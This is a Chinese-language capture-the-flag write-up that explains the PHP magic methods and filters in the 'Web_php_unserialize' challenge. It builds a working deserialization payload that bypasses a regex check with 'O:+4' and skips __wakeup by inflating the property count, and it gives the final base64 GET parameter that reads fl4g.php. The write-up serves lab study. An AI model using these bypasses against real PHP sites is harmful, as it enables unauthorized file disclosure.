php代码审计
Demo类的魔术函数
- __construct() 函数,当类新建对象的时候会执行。例如,$x = new Demo(要传给函数的值)
- __destruct() 函数,当对象销毁后会调用。新建对象后,先执行__construct() 函数,等所有函数执行完后就会执行该函数
- __wakeup() 函数,会伴随反序列函数unserialize()的执行而先执行,也就是说,当执行反序列化函数的时候会先执行wakeup函数
- highlight_file() 函数,用来输出指定PHP文件的代码
-
preg_match() 函数用来匹配一个正则表达,匹配上了就返回true,上面代码正则匹配的是不区分大小写的o:数字或者是c:数字,用来干扰反序列化的
-
unserialize() 函数用来反序列化字符串,将字符串反序列化成PHP代码
第一部分
类的属性
private $file = 'index.php';
- 定义了一个私有属性
$file
,并初始化为'index.php'
。私有属性只能在类的内部访问。
构造函数 __construct
public function __construct($file) { $this->file = $file;
}
__construct
当创建Demo
类的对象时会自动调用。- 它接收一个参数
$file
,并将其赋值给类的私有属性$this->file
,从而可以在对象创建时指定$file
的值。
析构函数 __destruct
function __destruct() { echo @highlight_file($this->file, true);
}
__destruct
当对象被销毁时会自动调用。highlight_file()
用于对指定文件的代码进行语法高亮显示。@
是错误抑制符,用于抑制可能出现的错误信息。true
表示将高亮显示的结果作为字符串返回,而不是直接输出。这里将结果通过echo
输出。
__wakeup
方法
function __wakeup() { if ($this->file != 'index.php') { //the secret is in the fl4g.php$this->file = 'index.php';}
}
__wakeup
是 PHP 的魔术方法,当使用unserialize()
函数反序列化对象时会自动调用。- 该方法检查
$this->file
的值是否不等于'index.php'
,如果不等于,则将其重置为'index.php'
。注释提示了秘密信息在fl4g.php
文件中
第二部分
1.检查 $_GET['var']
是否存在
if (isset($_GET['var'])) {
2. $_GET['var']
进行 Base64 解码
$var = base64_decode($_GET['var']);
base64_decode()
函数用于对 Base64 编码的字符串进行解码。将用户通过 GET 请求传递的 var
参数进行解码,并将结果赋值给变量 $var
。
3.正则表达式检查
if (preg_match('/[oc]:\d+:/i', $var)) { die('stop hacking!');
}
preg_match()
用于在字符串中查找是否存在与指定正则表达式匹配的内容。- 正则表达式
/[oc]:\d+:/i
的含义如下:[oc]
:匹配字符o
或c
,不区分大小写(因为使用了i
修饰符)。:
:匹配冒号字符。\d+
:匹配一个或多个数字字符。:
:再次匹配冒号字符。
- 如果解码后的字符串
$var
中包含这样的模式,说明可能存在反序列化漏洞攻击的风险,脚本会终止执行并输出stop hacking!
。
4.尝试反序列化
else {@unserialize($var);
}
如果解码后的字符串不包含上述正则表达式匹配的模式,使用 unserialize()
函数对其进行反序列化操作。@
是错误抑制符,用于抑制可能出现的错误信息。
5.没有传递 var
参数的情况
} else { highlight_file("index.php");
}
如果没有通过 GET 请求传递 var
参数,使用 highlight_file()
函数对 index.php
文件的代码进行语法高亮显示并输出
思路分析
注释提示了秘密信息在 fl4g.php
文件中,可能为flag
通过get的方式用var传参fl4g.php执行该代码的highlight_file函数,但是需要绕过里面会造成干扰的几个函数
- 将传的参数进行base64编码,绕过base64_decode函数
- 进行base64加密 base64_encode($a)
- 在反序列化串的O:前加个加号“+”,绕过preg_match函数
- 把'O:4'替换成 'O:+4' $a = str_replace('O:4', 'O:+4',$a);
- 修改反序列化串的对象属性个数(一般大于原个数),绕过wakeup函数
- 将1替换成2 $a = str_replace(':1:', ':2:',$a);
<?php
class Demo { //定义Demo类private $file = 'fl4g.php'; //定义私有属性 $file其值等于'fl4g.php'
}
$a = serialize(new Demo); //创建new Demo进行序列化操作,结果赋值给变量 $a
$a = str_replace('O:4', 'O:+4',$a); //绕过preg_match()函数
$a = str_replace(':1:', ':2:',$a); //绕过__wakeup()函数
echo base64_encode($a); //绕过解码函数
?>
$a = serialize(new Demo);
new 用于创建对象的关键字,new Demo是创建一个 Demo 类的对象。对 Demo 类进行序列化操作,并将序列化后的结果赋值给变量 $a
将 PHP 的值转换为一个可以存储或传输的字符串表示形式,这个过程就叫做序列化。序列化后的数据可以方便地进行存储(如保存到文件或数据库),或者在网络上进行传输。当需要使用这个对象时,可以使用
serialize()
函数unserialize()
函数将序列化后的字符串还原为原来的对象。
$a = str_replace('O:4', 'O:+4',$a);
$a
是 Demo
类对象序列化后的字符串。在 PHP 序列化字符串中,O:4
通常表示这是一个对象(O
代表对象),4
表示对象所属类名的长度。将 O:4
替换为 O:+4
可能是为了绕过某些反序列化的检查机制。
在字符串 $a
中查找所有的 O:4
子字符串,并将它们替换为 O:+4
,然后将替换后的新字符串重新赋值给变量 $a
。
str_replace()
用于字符串替换。语法为:str_replace($search, $replace, $subject, $count = null);
$search
:要查找的字符串或字符串数组。在这个例子中,$search
的值是'O:4'
。$replace
:用于替换查找到的字符串的字符串或字符串数组。这里$replace
的值是'O:+4'
。$subject
:要进行查找和替换操作的目标字符串或字符串数组。此代码里$subject
为变量$a
。$count
(可选):如果提供了这个参数,它将被设置为替换发生的次数。
$a = str_replace(':1:', ':2:',$a);
在字符串 $a
里查找所有的 :1:
子字符串,将其替换为 :2:
,再把替换后的新字符串重新赋值给变量 $a
。
str_replace()
函数
str_replace()
函数的基本语法是str_replace($search, $replace, $subject, $count = null)
$search
为':1:'
,即要查找的目标子字符串。$replace
是':2:'
,也就是用于替换的字符串。$subject
是变量$a
,表示要进行查找和替换操作的字符串。$count
未提供,因此不会统计替换发生的次数。
如果序列化字符串中表示对象属性个数的值被修改为比实际属性个数大,__wakeup
方法将不会被调用。所以将 :1:
替换为 :2:
可能就是为了利用这个漏洞来绕过 __wakeup
方法的检查
GET传参构造
?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
得flag
参考链接:攻防世界之Web_php_unserialize